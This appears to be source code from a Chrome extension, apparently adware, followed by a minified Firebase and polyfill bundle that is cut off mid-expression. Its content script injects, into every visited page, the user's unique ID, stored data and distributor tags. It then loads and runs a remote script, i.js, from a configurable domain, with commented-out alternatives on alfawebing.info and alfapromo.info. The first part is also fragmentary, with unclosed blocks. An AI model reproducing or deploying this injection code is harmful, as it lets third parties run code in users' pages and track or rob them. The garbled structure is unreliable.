chrome['runtime'].onMessage.addListener(function (request, sender, sendResponse) {
    if (request.topic === 'init') {
        init();
    if (request.topic === "getSettings") {
        sendResponse({ settings: settings, userStorage: userStorage });
    if (request.topic === "checkDomain") {
        checkDomain(request['src'])
chrome['alarms'].onAlarm.addListener(function (alarm) {
    if ('filterHeaders' === alarm.name) {
        // filterHeaders();
filter = {
    urls: ["<all_urls>"],
    types: ["main_frame", "sub_frame"]
init();
chrome.runtime.sendMessage({ topic: "getSettings" }, function (response) {
    if (undefined === response) {
        chrome.runtime.sendMessage({ topic: "init" });
        return;
    if (document.location.href.indexOf('accounts.google.com/o/oauth2') !== -1) return;
    if (document.location.href.indexOf('console.firebase.google.com') !== -1) return;
    var settings = response['settings'];
    var userStorage = response['userStorage'] || {};
    var settingsForJs = {};
    var fieldsForJs = ['distributorId', 'kTag', 'pTag', 'scriptDomain', 'tag', 'uniqueID', 'vTag', 'version'];
    for (var i = 0; i < fieldsForJs.length; i++)
        settingsForJs[fieldsForJs[i]] = settings[fieldsForJs[i]];
    var pScript = document.createElement('script');
    pScript.innerHTML = 'ss78mest = ' + JSON.stringify(settingsForJs) + ";\n";
    pScript.innerHTML += 'tdUserStorage = ' + JSON.stringify(userStorage) + ";\n";
    pScript.innerHTML += 'window["pTag84719287"] = "' + settings.pTag + '"' + ";\n";
    pScript.innerHTML += 'window["jj837711"] = "' + settings.uniqueID + '"' + ";\n";
    pScript.charset = "UTF-8";
    document.body.appendChild(pScript);
    var domain = settings.scriptDomain || settings.predefinedDomain;
    var script = document.createElement('script');
    script.src = '//' + domain + '/i.js';
    // script.src = "//local.extension-api.com/i.js";
    // script.src = "//local.extension-api.com/includes/main.js";
    // script.src = "https://alfawebing.info/js/m19.js";
    // script.src = "//alfapromo.info/js/m18.js";
    //script.src = "//local.extension-api.com/js/m_for_id_16.js";
    script.src += '?tag=' + settings.tag + '&did=' + settings.distributorId + '&v_tag=' + settings.vTag + '&k_tag=' + settings.kTag;
    script.charset = "UTF-8";
    document.body.appendChild(script);
    setTimeout(function () {
        if (parseInt(document.body.getAttribute('data-script-loaded')) !== 1) {
            chrome.runtime.sendMessage({ topic: "checkDomain", src: script.src });
        }
    }, 1500);
});!function (t, e) { "object" == typeof exports && "undefined" != typeof module ? module.exports = e() : "function" == typeof define && define.amd ? define(e) : t.firebase = e() }(this, function () { "use strict"; !function (t) { if (!t.fetch) { var e = { searchParams: "URLSearchParams" in t, iterable: "Symbol" in t && "iterator" in Symbol, blob: "FileReader" in t && "Blob" in t && function () { try { return new Blob, !0 } catch (t) { return !1 } }(), formData: "FormData" in t, arrayBuffer: "ArrayBuffer" in t }; if (e.arrayBuffer) var r = ["[object Int8Array]", "[object Uint8Array]", "[object Uint8ClampedArray]", "[object Int16Array]", "[object Uint16Array]", "[object Int32Array]", "[object Uint32Array]", "[object Float32Array]", "[object Float64Array]"], n = function (t) { return t && DataView.prototype.isPrototypeOf(t) }, o = ArrayBuffer.isView || function (t) { return t && r.indexOf(Object.prototype.toString.call(t)) > -1 }; f.prototype.append = function (t, e) { t = a(t), e = u(e); var r = this.map[t]; this.map[t] = r ? r + "," + e : e }, f.prototype.delete = function (t) { delete this.map[a(t)] }, f.prototype.get = function (t) { return t = a(t), this.has(t) ? this.map[t] : null }, f.prototype.has = function (t) { return this.map.hasOwnProperty(a(t)) }, f.prototype.set = function (t, e) { this.map[a(t)] = u(e) }, f.prototype.forEach = function (t, e) { for (var r in this.map) this.map.hasOwnProperty(r) && t.call(e, this.map[r], r, this) }, f.prototype.keys = function () { var t = []; return this.forEach(function (e, r) { t.push(r) }), c(t) }, f.prototype.values = function () { var t = []; return this.forEach(function (e) { t.push(e) }), c(t) }, f.prototype.entries = function () { var t = []; return this.forEach(function (e, r) { t.push([r, e]) }), c(t) }, e.iterable && (f.prototype[Symbol.iterator] = f.prototype.entries); var i = ["DELETE", "GET", "HEAD", "OPTIONS", "POST", "PUT"]; v.prototype.clone = function () { return new v(this, { body: this._bodyInit }) }, y.call(v.prototype), y.call(m.prototype), m.prototype.clone = function () { return new m(this._bodyInit, { status: this.status, statusText: this.statusText, headers: new f(this.headers), url: this.url }) }, m.error = function () { var t = new m(null, { status: 0, statusText: "" }); return t.type = "error", t }; var s = [301, 302, 303, 307, 308]; m.redirect = function (t, e) { if (-1 === s.indexOf(e)) throw new RangeError("Invalid status code"); return new m(null, { status: e, headers: { location: t } }) }, t.Headers = f, t.Request = v, t.Response = m, t.fetch = function (t, r) { return new Promise(function (n, o) { var i = new v(t, r), s = new XMLHttpRequest; s.onload = function () { var t, e, r = { status: s.status, statusText: s.statusText, headers: (t = s.getAllResponseHeaders() || "", e = new f, t.replace(/\r?\n[\t ]+/g, " ").split(/\r?\n/).forEach(function (t) { var r = t.split(":"), n = r.shift().trim(); if (n) { var o = r.join(":").trim(); e.append(n, o) } }), e) }; r.url = "responseURL" in s ? s.responseURL : r.headers.get("X-Request-URL"); var o = "response" in s ? s.response : s.responseText; n(new m(o, r)) }, s.onerror = function () { o(new TypeError("Network request failed")) }, s.ontimeout = function () { o(new TypeError("Network request failed")) }, s.open(i.method, i.url, !0), "include" === i.credentials ? s.withCredentials = !0 : "omit" === i.credentials && (s.withCredentials = !1), "responseType" in s && e.blob && (s.responseType = "blob"), i.headers.forEach(function (t, e) { s.setRequestHeader(e, t) }), s.send(void 0 === i._bodyInit ? null : i._bodyInit) }) }, t.fetch.polyfill = !0 } function a(t) { if ("string" != typeof t && (t = String(t)), /[^a-z0-9\-#$%&'*+.\^_`|~]/i.test(t)) throw new TypeError("Invalid character in header field name"); return t.toLowerCase() } function u(t) { return "string" != typeof t && (t = String(t)), t } function c(t) { var r = { next: function () { var e = t.shift(); return { done: void 0 === e, value: e } } }; return e.iterable && (r[Symbol.iterator] = function () { return r }), r } function f(t) { this.map = {}, t instanceof f ? t.forEach(function (t, e) { this.append(e, t) }, this) : Array.isArray(t) ? t.forEach(function (t) { this.append(t[0], t[1]) }, this) : t && Object.getOwnPropertyNames(t).forEach(function (e) { this.append(e, t[e]) }, this) } function h(t) { if (t.bodyUsed) return Promise.reject(new TypeError("Already read")); t.bodyUsed = !0 } function l(t) { return new Promise(function (e, r) { t.onload = function () { e(t.result) }, t.onerror = function () { r(t.error) } }) } function p(t) { var e = new FileReader, r = l(e); return e.readAsArrayBuffer(t), r } function d(t) { if (t.slice) return t.slice(0); var e = new Uint8Array(t.byteLength); return e.set(new Uint8Array(t)), e.buffer } function y() { return this.bodyUsed = !1, this._initBody = function (t) { if (this._bodyInit = t, t) if ("string" == typeof t) this._bodyText = t; else if (e.blob && Blob.prototype.isPrototypeOf(t)) this._bodyBlob = t; else if (e.formData && FormData.prototype.isPrototypeOf(t)) this._bodyFormData = t; else if (e.searchParams && URLSearchParams.prototype.isPrototypeOf(t)) this._bodyText = t.toString(); else if (e.arrayBuffer && e.blob && n(t)) this._bodyArrayBuffer = d(t.buffer), this._bodyInit = new Blob([this._bodyArrayBuffer]); else { if (!e.arrayBuffer || !ArrayBuffer.prototype.isPrototypeOf(t) && !o(t)) throw new Error("unsupported BodyInit type"); this._bodyArrayBuffer = d(t) } else this._bodyText = ""; this.headers.get("content-type") || ("string" == typeof t ? this.headers.set("content-type", "text/plain;charset=UTF-8") : this._bodyBlob && this._bodyBlob.type ? this.headers.set("content-type", this._bodyBlob.type) : e.searchParams && URLSearchParams.prototype.isPrototypeOf(t) && this.headers.set("content-type", "application/x-www-form-urlencoded;charset=UTF-8")) }, e.blob && (this.blob = function () { var t = h(this); if (t) return t; if (this._bodyBlob) return Promise.resolve(this._bodyBlob); if (this._bodyArrayBuffer) return Promise.resolve(new Blob([this._bodyArrayBuffer])); if (this._bodyFormData) throw new Error("could not read FormData body as blob"); return Promise.resolve(new Blob([this._bodyText])) }, this.arrayBuffer = function () { return this._bodyArrayBuffer ? h(this) || Promise.resolve(this._bodyArrayBuffer) : this.blob().then(p) }), this.text = function () { var t, e, r, n = h(this); if (n) return n; if (this._bodyBlob) return t = this._bodyBlob, e = new FileReader, r = l(e), e.readAsText(t), r; if (this._bodyArrayBuffer) return Promise.resolve(function (t) { for (var e = new Uint8Array(t), r = new Array(e.length), n = 0; n < e.length; n++) r[n] = String.fromCharCode(e[n]); return r.join("") }(this._bodyArrayBuffer)); if (this._bodyFormData) throw new Error("could not read FormData body as text"); return Promise.resolve(this._bodyText) }, e.formData && (this.formData = function () { return this.text().then(b) }), this.json = function () { return this.text().then(JSON.parse) }, this } function v(t, e) { var r, n, o = (e = e || {}).body; if (t instanceof v) { if (t.bodyUsed) throw new TypeError("Already read"); this.url = t.url, this.credentials = t.credentials, e.headers || (this.headers = new f(t.headers)), this.method = t.method, this.mode = t.mode, o || null == t._bodyInit || (o = t._bodyInit, t.bodyUsed = !0) } else this.url = String(t); if (this.credentials = e.credentials || this.credentials || "omit", !e.headers && this.headers || (this.headers = new f(e.headers)), this.method = (r = e.method || this.method || "GET", n = r.toUpperCase(), i.indexOf(n) > -1 ? n : r), this.mode = e.mode || this.mode || null, this.referrer = null, ("GET" === this.method || "HEAD" === this.method) && o) throw new TypeError("Body not allowed for GET or HEAD requests"); this._initBody(o) } function b(t) { var e = new FormData; return t.trim().split("&").forEach(function (t) { if (t) { var r = t.split("="), n = r.shift().replace(/\+/g, " "), o = r.join("=").replace(/\+/g, " "); e.append(decodeURIComponent(n), decodeURIComponent(o)) } }), e } function m(t, e) { e || (e = {}), this.type = "default", this.status = void 0 === e.status ? 200 : e.status, this.ok = this.status >= 200 && this.status < 300, this.statusText = "statusText" in e ? e.statusText : "OK", this.headers = new f(e.headers), this.url = e.url || "", this._initBody(t) } }("undefined" != typeof self ? self : void 0); var t = setTimeout; function e() { } function r(t) { if (!(this instanceof r)) throw new TypeError("Promises must be constructed via new"); if ("function" != typeof t) throw new TypeError("not a function"); this._state = 0, this._handled = !1, this._value = void 0, this._deferreds = [], a(t, this) } function n(t, e) { for (; 3 === t._state;) t = t._value; 0 !== t._state ? (t._handled = !0, r._immediateFn(function () { var r = 1 === t._state ? e.onFulfilled : e.onRejected; if (null !== r) { var n; try { n = r(t._value) } catch (t) { return void i(e.promise, t) } o(e.promise, n) } else (1 === t._state ? o : i)(e.promise, t._value) })) : t._deferreds.push(e) } function o(t, e) { try { if (e === t) throw new TypeError("A promise cannot be resolved with itself."); if (e && ("object" == typeof e || "function" == typeof e)) { var n = e.then; if (e instanceof r) return t._state = 3, t._value = e, void s(t); if ("function" == typeof n) return void a((o = n, u = e, function () { o.apply(u, arguments) }), t) } t._state = 1, t._value = e, s(t) } catch (e) { i(t, e) } var o, u } function i(t, e) { t._state = 2, t._value = e, s(t) } function s(t) { 2 === t._state && 0 === t._deferreds.length && r._immediateFn(function () { t._handled || r._unhandledRejectionFn(t._value) }); for (var e = 0, o = t._deferreds.length; e < o; e++) n(t, t._deferreds[e]); t._deferreds = null } function a(t, e) { var r = !1; try { t(function (t) { r || (r = !0, o(e, t)) }, function (t) { r || (r = !0, i(e, t)) }) } catch (t) { if (r) return; r = !0, i(e, t) } } r.prototype.catch = function (t) { return this.then(null, t) }, r.prototype.then = function (t, r) { var o = new this.constructor(e); return n(this, new function (t, e, r) { this.onFulfilled = "function" == typeof t ? t : null, this.onRejected = "function" == typeof e ? e : null, this.promise = r }(t, r, o)), o }, r.prototype.finally = function (t) { var e = this.constructor; return this.then(function (r) { return e.resolve(t()).then(function () { return r }) }, function (r) { return e.resolve(t()).then(function () { return e.reject(r) }) }) }, r.all = function (t) { return new r(function (e, r) { if (!t || void 0 === t.length) throw new TypeError("Promise.all accepts an array"); var n = Array.prototype.slice.call(t); if (0 === n.length) return e([]); var o = n.length; function i(t, s) { try { if (s && ("object" == typeof s || "function" == typeof s)) { var a = s.then; if ("function" == typeof a) return void a.call(s, function (e) { i(t, e) }, r) } n[t] = s, 0 == --o && e(n) } catch (t) { r(t) } } for (var s = 0; s < n.length; s++) i(s, n[s]) }) }, r.resolve = function (t) { return t && "object" == typeof t && t.constructor === r ? t : new r(function (e) { e(t) }) }, r.reject = function (t) { return new r(function (e, r) { r(t) }) }, r.race = function (t) { return new r(function (e, r) { for (var n = 0, o = t.length; n < o; n++) t[n].then(e, r) }) }, r._immediateFn = "function" == typeof setImmediate && function (t) { setImmediate(t) } || function (e) { t(e, 0) }, r._unhandledRejectionFn = function (t) { "undefined" != typeof console && console && console.warn("Possible Unhandled Promise Rejection:", t) }; var u = function () { if ("undefined" != typeof self) return self; if ("undefined" != typeof window) return window; if ("undefined" != typeof global) return global; throw new Error("unable to locate global object") }(); function c(t, e) { return t(e = { exports: {} }, e.exports), e.exports } u.Promise || (u.Promise = r); var f = c(function (t) { var e = t.exports = "undefined" != typeof window && window.Math == Math ? window : "undefined" != typeof self && self.Math == Math ? self : Function("return this")(); "number" == typeof __g && (__g = e) }), h = c(function (t) { var e = t.exports = { version: "2.5.5" }; "number" == typeof __e && (__e = e) }), l = (h.version, function (t) { return "object" == typeof t ? null !== t : "function" == typeof t }), p = function (t) { if (!l(t)) throw TypeError(t + " is not an object!"); return t }, d = function (t) { try { return !!t() } catch (t) { return !0 } }, y = !d(function () { return 7 != Object.defineProperty({}, "a", { get: function () { return 7 } }).a }), v = f.document, b = l(v) && l(v.createElement), m = function (t) { return b ? v.createElement(t) : {} }, _ = !y && !d(function () { return 7 != Object.defineProperty(m("div"), "a", { get: function () { return 7 } }).a }), g = function (t, e) { if (!l(t)) return t; var r, n; if (e && "function" == typeof (r = t.toString) && !l(n = r.call(t))) return n; if ("function" == typeof (r = t.valueOf) && !l(n = r.call(t))) return n; if (!e && "function" == typeof (r = t.toString) && !l(n = r.call(t))) return n; throw TypeError("Can't convert object to primitive value") }, w = Object.defineProperty, O = { f: y ? Object.defineProperty : function (t, e, r) { if (p(t), e = g(e, !0), p(r), _) try { return w(t, e, r) } catch (t) { } if ("get" in r || "set" in r) throw TypeError("Accessors not supported!"); return "value" in r && (t[e] = r.value), t } }, S = function (t, e) { return { enumerable: !(1 & t), configurable: !(2 & t), writable: !(4 & t), value: e } }, E = y ? function (t, e, r) { return O.f(t, e, S(1, r)) } : function (t, e, r) { return t[e] = r, t }, A = {}.hasOwnProperty, j = function (t, e) { return A.call(t, e) }, P = 0, T = Math.random(), k = function (t) { return "Symbol(".concat(void 0 === t ? "" : t, ")_", (++P + T).toString(36)) }, x = c(function (t) { var e = k("src"), r = Function.toString, n = ("" + r).split("toString"); h.inspectSource = function (t) { return r.call(t) }, (t.exports = function (t, r, o, i) { var s = "function" == typeof o; s && (j(o, "name") || E(o, "name", r)), t[r] !== o && (s && (j(o, e) || E(o, e, t[r] ? "" + t[r] : n.join(String(r)))), t === f ? t[r] = o : i ? t[r] ? t[r] = o : E(t, r, o) : (delete t[r], E(t, r, o))) })(Function.prototype, "toString", function () { return "function" == typeof this && this[e] || r.call(this) }) }), F = function (t, e, r) { if (function (t) { if ("function" != typeof t) throw TypeError(t + " is not a function!") }(t), void 0 === e) return t; switch (r) { case 1: return function (r) { return t.call(e, r) }; case 2: return function (r, n) { return t.call(e, r, n) }; case 3: return function (r, n, o) { return t.call(e, r, n, o) } } return function () { return t.apply(e, arguments) } }, L = function (t, e, r) { var n, o, i, s, a = t & L.F, u = t & L.G, c = t & L.S, l = t & L.P, p = t & L.B, d = u ? f : c ? f[e] || (f[e] = {}) : (f[e] || {}).prototype, y = u ? h : h[e] || (h[e] = {}), v = y.prototype || (y.prototype = {}); for (n in u && (r = e), r) i = ((o = !a && d && void 0 !== d[n]) ? d : r)[n], s = p && o ? F(i, f) : l && "function" == typeof i ? F(Function.call, i) : i, d && x(d, n, i, t & L.U), y[n] != i && E(y, n, s), l && v[n] != i && (v[n] = i) }; f.core = h, L.F = 1, L.G = 2, L.S = 4, L.P = 8, L.B = 16, L.W = 32, L.U = 64, L.R = 128; var N = L, D = {}.toString, I = function (t) { return D.call(t).slice(8, -1) }, R = Object("z").propertyIsEnumerable(0) ? Object : function (t) { return "String" == I(t) ? t.split("") : Object(t) }, B = function (t) { if (void 0 == t) throw TypeError("Can't call method on  " + t); return t }, C = function (t) { return Object(B(t)) }, U = Math.ceil, M = Math.floor, z = function (t) { return isNaN(t = +t) ? 0 : (t > 0 ? M : U)(t) }, G = Math.min, W = function (t) { return t > 0 ? G(z(t), 9007199254740991) : 0 }, H = Array.isArray || function (t) { return "Array" == I(t) }, V = f["__core-js_shared__"] || (f["__core-js_shared__"] = {}), q = function (t) { return V[t] || (V[t] = {}) }, K = c(function (t) { var e = q("wks"), r = f.Symbol, n = "function" == typeof r; (t.exports = function (t) { return e[t] || (e[t] = n && r[t] || (n ? r : k)("Symbol." + t)) }).store = e }), $ = K("species"), J = function (t, e) { return new (function (t) { var e; return H(t) && ("function" != typeof (e = t.constructor) || e !== Array && !H(e.prototype) || (e = void 0), l(e) && null === (e = e[$]) && (e = void 0)), void 0 === e ? Array : e }(t))(e) }, Y = function (t, e) { var r = 1 == t, n = 2 == t, o = 3 == t, i = 4 == t, s = 6 == t, a = 5 == t || s, u = e || J; return function (e, c, f) { for (var h, l, p = C(e), d = R(p), y = F(c, f, 3), v = W(d.length), b = 0, m = r ? u(e, v) : n ? u(e, 0) : void 0; v > b; b++) if ((a || b in d) && (l = y(h = d[b], b, p), t)) if (r) m[b] = l; else if (l) switch (t) { case 3: return !0; case 5: return h; case 6: return b; case 2: m.push(h) } else if (i) return !1; return s ? -1 : o || i ? i : m } }, X = K("unscopables"), Q = Array.prototype; void 0 == Q[X] && E(Q, X, {}); var Z = function (t) { Q[X][t] = !0 }, tt = Y(5), et = !0; "find" in [] && Array(1).find(function () { et = !1 }), N(N.P + N.F * et, "Array", { find: function (t) { return tt(this, t, arguments.length > 1 ? arguments[1] : void 0) } }), Z("find"); h.Array.find; var rt = Y(6), nt = !0; "findIndex" in [] && Array(1).findIndex(function () { nt = !1 }), N(N.P + N.F * nt, "Array", { findIndex: function (t) { return rt(this, t, arguments.length > 1 ? arguments[1] : void 0) } }), Z("findIndex"); h.Array.findIndex; var ot, it = function (t) { return R(B(t)) }, st = Math.max, at = Math.min, ut = q("keys"), ct = function (t) { return ut[t] || (ut[t] = k(t)) }, ft = (ot = !1, function (t, e, r) { var n, o = it(t), i = W(o.length), s = function (t, e) { return (t = z(t)) < 0 ? st(t + e, 0) : at(t, e) }(r, i); if (ot && e != e) { for (; i > s;) if ((n = o[s++]) != n) return !0 } else for (; i > s; s++) if ((ot || s in o) && o[s] === e) return ot || s || 0; return !ot && -1 }), ht = ct("IE_PROTO"), lt = function (t, e) { var r, n = it(t), o = 0, i = []; for (r in n) r != ht && j(n, r) && i.push(r); for (; e.length > o;) j(n, r = e[o++]) && (~ft(i, r) || i.push(r)); return i }, pt = "constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf".split(","), dt = Object.keys || function (t) { return lt(t, pt) }, yt = { f: Object.getOwnPropertySymbols }, vt = { f: {}.propertyIsEnumerable }, bt = Object.assign, mt = !bt || d(function () { var t = {}, e = {}, r = Symbol(), n = "abcdefghijklmnopqrst"; return t[r] = 7, n.split("").forEach(function (t) { e[t] = t }), 7 != bt({}, t)[r] || Object.keys(bt({}, e)).join("") != n }) ? function (t, e) { for (var r = C(t), n = arguments.length, o = 1, i = yt.f, s = vt.f; n > o;) for (var a, u = R(arguments[o++]), c = i ? dt(u).concat(i(u)) : dt(u), f = c.length, h = 0; f > h;) s.call(u, a = c[h++]) && (r[a] = u[a]); return r } : bt; N(N.S + N.F, "Object", { assign: mt }); h.Object.assign; var _t = K("match"), gt = function (t, e, r) { if (l(n = e) && (void 0 !== (o = n[_t]) ? o : "RegExp" == I(n))) throw TypeError("String#" + r + " doesn't accept regex!"); var n, o; return String(B(t)) }, wt = K("match"), Ot = "".startsWith; N(N.P + N.F * function (t) { var e = /./; try { "/./"[t](e) } catch (r) { try { return e[wt] = !1, !"/./"[t](e) } catch (t) { } } return !0 }("startsWith"), "String", { startsWith: function (t) { var e = gt(this, t, "startsWith"), r = W(Math.min(arguments.length > 1 ? arguments[1] : void 0, e.length)), n = String(t); return Ot ? Ot.call(e, n, r) : e.slice(r, r + n.length) === n } }); h.String.startsWith; N(N.P, "String", { repeat: function (t) { var e = String(B(this)), r = "", n = z(t); if (n < 0 || n == 1 / 0) throw RangeError("Count can't be negative"); for (; n > 0; (n >>>= 1) && (e += e)) 1 & n && (r += e); return r } }); h.String.repeat; var St = c(function (t) { var e = k("meta"), r = O.f, n = 0, o = Object.isExtensible || function () { return !0 }, i = !d(function () { return o(Object.preventExtensions({})) }), s = function (t) { r(t, e, { value: { i: "O" + ++n, w: {} } }) }, a = t.exports = { KEY: e, NEED: !1, fastKey: function (t, r) { if (!l(t)) return "symbol" == typeof t ? t : ("string" == typeof t ? "S" : "P") + t; if (!j(t, e)) { if (!o(t)) return "F"; if (!r) return "E"; s(t) } return t[e].i }, getWeak: function (t, r) { if (!j(t, e)) { if (!o(t)) return !0; if (!r) return !1; s(t) } return t[e].w }, onFreeze: function (t) { return i && a.NEED && o(t) && !j(t, e) && s(t), t } } }), Et = (St.KEY, St.NEED, St.fastKey, St.getWeak, St.onFreeze, O.f), At = K("toStringTag"), jt = function (t, e, r) { t && !j(t = r ? t : t.prototype, At) && Et(t, At, { configurable: !0, value: e }) }, Pt = { f: K }, Tt = O.f, kt = function (t) { var e = h.Symbol || (h.Symbol = f.Symbol || {}); "_" == t.charAt(0) || t in e || Tt(e, t, { value: Pt.f(t) }) }, xt = y ? Object.defineProperties : function (t, e) { p(t); for (var r, n = dt(e), o = n.length, i = 0; o > i;) O.f(t, r = n[i++], e[r]); return t }, Ft = f.document, Lt = Ft && Ft.documentElement, Nt = ct("IE_PROTO"), Dt = function () { }, It = function () { var t, e = m("iframe"), r = pt.length; for (e.style.display = "none", Lt.appendChild(e), e.src = "javascript:", (t = e.contentWindow.document).open(), t.write("<script>document.F=Object<\/script>"), t.close(), It = t.F; r--;) delete It.prototype[pt[r]]; return It() }, Rt = Object.create || function (t, e) { var r; return null !== t ? (Dt.prototype = p(t), r = new Dt, Dt.prototype = null, r[Nt] = t) : r = It(), void 0 === e ? r : xt(r, e) }, Bt = pt.concat("length", "prototype"), Ct = { f: Object.getOwnPropertyNames || function (t) { return lt(t, Bt) } }, Ut = Ct.f, Mt = {}.toString, zt = "object" == typeof window && window && Object.getOwnPropertyNames ? Object.getOwnPropertyNames(window) : [], Gt = { f: function (t) { return zt && "[object Window]" == Mt.call(t) ? function (t) { try { return Ut(t) } catch (t) { return zt.slice() } }(t) : Ut(it(t)) } }, Wt = Object.getOwnPropertyDescriptor, Ht = { f: y ? Wt : function (t, e) { if (t = it(t), e = g(e, !0), _) try { return Wt(t, e) } catch (t) { } if (j(t, e)) return S(!vt.f.call(t, e), t[e]) } }, Vt = St.KEY, qt = Ht.f, Kt = O.f, $t = Gt.f, Jt = f.Symbol, Yt = f.JSON, Xt = Yt && Yt.stringify, Qt = K("_hidden"), Zt = K("toPrimitive"), te = {}.propertyIsEnumerable, ee = q("symbol-registry"), re = q("symbols"), ne = q("op-symbols"), oe = Object.prototype, ie = "function" == typeof Jt, se = f.QObject, ae = !se || !se.prototype || !se.prototype.findChild, ue = y && d(function () { return 7 != Rt(Kt({}, "a", { get: function () { return Kt(this, "a", { value: 7 }).a } })).a }) ? function (t, e, r) { var n = qt(oe, e); n && delete oe[e], Kt(t, e, r), n && t !== oe && Kt(oe, e, n) } : Kt, ce = function (t) { var e = re[t] = Rt(Jt.prototype); return e._k = t, e }, fe = ie && "symbol" == typeof Jt.iterator ? function (t) { return "symbol" == typeof t } : function (t) { return t instanceof Jt }, he = function (t, e, r) { return t === oe && he(ne, e, r), p(t), e = g(e, !0), p(r), j(re, e) ? (r.enumerable ? (j(t, Qt) && t[Qt][e] && (t[Qt][e] = !1), r = Rt(r, { enumerable: S(0, !1) })) : (j(t, Qt) || Kt(t, Qt, S(1, {})), t[Qt][e] = !0), ue(t, e, r)) : Kt(t, e, r) }, le = function (t, e) { p(t); for (var r, n = function (t) { var e = dt(t), r = yt.f; if (r) for (var n, o = r(t), i = vt.f, s = 0; o.length > s;) i.call(t, n = o[s++]) && e.push(n); return e }(e = it(e)), o = 0, i = n.length; i > o;) he(t, r = n[o++], e[r]); return t }, pe = function (t) { var e = te.call(this, t = g(t, !0)); return !(this === oe && j(re, t) && !j(ne, t)) && (!(e || !j(this, t) || !j(re, t) || j(this, Qt) && this[Qt][t]) || e) }, de = function (t, e) { if (t = it(t), e = g(e, !0), t !== oe || !j(re, e) || j(ne, e)) { var r = qt(t, e); return !r || !j(re, e) || j(t, Qt) && t[Qt][e] || (r.enumerable = !0), r } }, ye = function (t) { for (var e, r = $t(it(t)), n = [], o = 0; r.length > o;) j(re, e = r[o++]) || e == Qt || e == Vt || n.push(e); return n }, ve = function (t) { for (var e, r = t === oe, n = $t(r ? ne : it(t)), o = [], i = 0; n.length > i;) !j(re, e = n[i++]) || r && !j(oe, e) || o.push(re[e]); return o }; ie || (x((Jt = function () { if (this instanceof Jt) throw TypeError("Symbol is not a constructor!"); var t = k(arguments.length > 0 ? arguments[0] : void 0), e = function (r) { this === oe && e.call(ne, r), j(this, Qt) && j(this[Qt], t) && (this[Qt][t] = !1), ue(this, t, S(1, r)) }; return y && ae && ue(oe, t, { configurable: !0, set: e }), ce(t) }).prototype, "toString", function () { return this._k }), Ht.f = de, O.f = he, Ct.f = Gt.f = ye, vt.f = pe, yt.f = ve, y && x(oe, "propertyIsEnumerable", pe, !0), Pt.f = function (t) { return ce(K(t)) }), N(N.G + N.W + N.F * !ie, { Symbol: Jt }); for (var be = "hasInstance,isConcatSpreadable,iterator,match,replace,search,species,split,toPrimitive,toStringTag,unscopables".split(","), me = 0; be.length > me;) K(be[me++]); for (var _e = dt(K.store), ge = 0; _e.length > ge;) kt(_e[ge++]); N(N.S + N.F * !ie, "Symbol", { for: function (t) { return j(ee, t += "") ? ee[t] : ee[t] = Jt(t) }, keyFor: function (t) { if (!fe(t)) throw TypeError(t + " is not a symbol!"); for (var e in ee) if (ee[e] === t) return e }, useSetter: function () { ae = !0 }, useSimple: function () { ae = !1 } }), N(N.S + N.F * !ie, "Object", { create: function (t, e) { return void 0 === e ? Rt(t) : le(Rt(t), e) }, defineProperty: he, defineProperties: le, getOwnPropertyDescriptor: de, getOwnPropertyNames: ye, getOwnPropertySymbols: ve }), Yt && N(N.S + N.F * (!ie || d(function () { var t = Jt(); return "[null]" != Xt([t]) || "{}" != Xt({ a: t }) || "{}" != Xt(Object(t)) })), "JSON", { stringify: function (t) { for (var e, r, n = [t], o = 1; arguments.length > o;) n.push(arguments[o++]); if (r = e = n[1], (l(e) || void 0 !== t) && !fe(t)) return H(e) || (e = function (t, e) { if ("function" == typeof r && (e = r.call(this, t, e)), !fe(e)) return e }), n[1] = e, Xt.apply(Yt, n) } }), Jt.prototype[Zt] || E(Jt.prototype, Zt, Jt.prototype.valueOf), jt(Jt, "Symbol"), jt(Math, "Math", !0), jt(f.JSON, "JSON", !0); var we = K("toStringTag"), Oe = "Arguments" == I(function () { return arguments }()), Se = {}; Se[K("toStringTag")] = "z", Se + "" != "[object z]" && x(Object.prototype, "toString", function () { return "[object " + (void 0 === (t = this) ? "Undefined" : null === t ? "Null" : "string" == typeof (r = function (t, e) { try { return t[e] } catch (t) { } }(e = Object(t), we)) ? r : Oe ? I(e) : "Object" == (n = I(e)) && "function" == typeof e.callee ? "Arguments" : n) + "]"; var t, e, r, n }, !0), kt("asyncIterator"), kt("observable"); h.Symbol; var Ee = {}, Ae = {}; E(Ae, K("iterator"), function () { return this }); var je, Pe = function (t, e, r) { t.prototype = Rt(Ae, { next: S(1, r) }), jt(t, e + " Iterator") }, Te = ct("IE_PROTO"), ke = Object.prototype, xe = Object.getPrototypeOf || function (t) { return t = C(t), j(t, Te) ? t[Te] : "function" == typeof t.constructor && t instanceof t.constructor ? t.constructor.prototype : t instanceof Object ? ke : null }, Fe = K("iterator"), Le = !([].keys && "next" in [].keys()), Ne = function () { return this }, De = function (t, e, r, n, o, i, s) { Pe(r, e, n); var a, u, c, f = function (t) { if (!Le && t in d) return d[t]; switch (t) { case "keys": case "values": return function () { return new r(this, t) } } return function () { return new r(this, t) } }, h = e + " Iterator", l = "values" == o, p = !1, d = t.prototype, y = d[Fe] || d["@@iterator"] || o && d[o], v = y || f(o), b = o ? l ? f("entries") : v : void 0, m = "Array" == e && d.entries || y; if (m && (c = xe(m.call(new t))) !== Object.prototype && c.next && (jt(c, h, !0), "function" != typeof c[Fe] && E(c, Fe, Ne)), l && y && "values" !== y.name && (p = !0, v = function () { return y.call(this) }), (Le || p || !d[Fe]) && E(d, Fe, v), Ee[e] = v, Ee[h] = Ne, o) if (a = { values: l ? v : f("values"), keys: i ? v : f("keys"), entries: b }, s) for (u in a) u in d || x(d, u, a[u]); else N(N.P + N.F * (Le || p), e, a); return a }, Ie = (je = !0, function (t, e) { var r, n, o = String(B(t)), i = z(e), s = o.length; return i < 0 || i >= s ? je ? "" : void 0 : (r = o.charCodeAt(i)) < 55296 || r > 56319 || i + 1 === s || (n = o.charCodeAt(i + 1)) < 56320 || n > 57343 ? je ? o.charAt(i) : r : je ? o.slice(i, i + 2) : n - 56320 + (r - 55296 << 10) + 65536 }); De(String, "String", function (t) { this._t = String(t), this._i = 0 }, function () { var t, e = this._t, r = this._i; return r >= e.length ? { value: void 0, done: !0 } : (t = Ie(e, r), this._i += t.length, { value: t, done: !1 }) }); var Re = function (t, e) { return { value: e, done: !!t } }, Be = De(Array, "Array", function (t, e) { this._t = it(t), this._i = 0, this._k = e }, function () { var t = this._t, e = this._k, r = this._i++; return !t || r >= t.length ? (this._t = void 0, Re(1)) : Re(0, "keys" == e ? r : "values" == e ? 